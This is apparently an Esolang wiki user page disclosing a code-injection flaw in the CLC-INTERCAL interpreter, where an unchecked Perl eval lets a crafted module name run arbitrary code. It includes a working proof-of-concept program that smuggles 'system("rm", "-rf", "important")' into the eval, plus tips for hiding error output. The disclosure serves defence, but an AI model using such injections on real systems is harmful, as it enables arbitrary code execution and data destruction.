User:BoundedBeans/CLC-INTERCAL code injection

From Esolang
Jump to navigation Jump to search

While looking at CLC-INTERCAL's updated code in 2023, I noticed that the undocumented opcodes use eval to import the namespace of the statement. It doesn't perform any checks (a simple regex check for /[A-Za-z_][A-Za-z_0-9]*/ would remove this vulnerability). The lines of code that do this are in Language/INTERCAL/Interpreter.pm in the subroutine _x_UNx, and look like this:

my $c = "require Language::INTERCAL::${m}";
eval $c;
$@ and faint(SP_UNDOCUMENTED, 'module', $m);
$unx_cache{$m} = {};

If you use a semicolon in $m, you can have any Perl code run after the import. Of course, an error will happen if the namespace doesn't exist, so just use something already existing in CLC-INTERCAL (I used Charset). This strategy will throw an INTERCAL error after the code is run, but you can still run INTERCAL after that by using a quantum program. Interestingly, this does not require any extensions at all to the compiler, not even the official ones like come-from-gerund or multithreading.

You can access the undocumented opcodes by using the CREATE statement to create some syntax for it, then running it by using that syntax.

Anyway, here's an example. This program prints I, deletes the important folder in the current directory, then continues running to print XC.

DO READ OUT #1
DO CREATE ?UNARY ,i, AS UNE +
   MUL + #1 + #64 +
   MUL + #41 + #67 + #104 + #97 + #114 + #115 + #101 + #116 + #59 + #32 + #115 + #121 + 
         #115 + #116 + #101 + #109 + #40 + #34 + #114 + #109 + #34 + #44 + #32 + 
         #34 + #45 + #114 + #102 + #34 + #44 + #32 + #34 + #105 + #109 + #112 + 
         #111 + #114 + #116 + #97 + #110 + #116 + #34 + #41 +
   #0
DO ABSTAIN FROM CALCULATING WHILE REINSTATING IT
DO .1 <- #i9
DO READ OUT #90
DO GIVE UP

Standard output:

I
XC

Standard error:

Useless use of single ref constructor in void context at (eval 29) line 1.
*000 Can't use string ("0") as a subroutine ref while "strict refs" in use at /usr/local/share/perl/5.34.0/Language/INTERCAL/Interpreter.pm line 4190.

Here is the "namespace" CLC-INTERCAL receives:

Charset; system("rm", "-rf", "important")

This means that the eval $c runs:

require Language::INTERCAL::Charset; system("rm", "-rf", "important")

You can do some sinister stuff with this, or alternatively use it to do things INTERCAL has never been able to do before. Be careful running INTERCAL programs you don't trust.

Note that you can also turn off the error output by assigning @3 to an unassigned whirlpool register like @99, and you can store stderr in some third unused whirlpool register to get it back. Also, due to some limitations of the bytecode handling, there's a maximum of 65535 entries on the right side of a create statement, though you can always use multiple code injections, or build up a string in a variable or file, then eval it (nested eval!) to run it all at once (all in all, if you use only 7-bit ASCII characters (because they only use one byte 128-256), you should definitely have at least 65000 characters to work with for one injection). Note that CLC-INTERCAL programs already have an unintentional 65535-character limit for similar reasons, so you won't typically run into the former limit unless you use my 32-bit character limit mod to bypass the latter.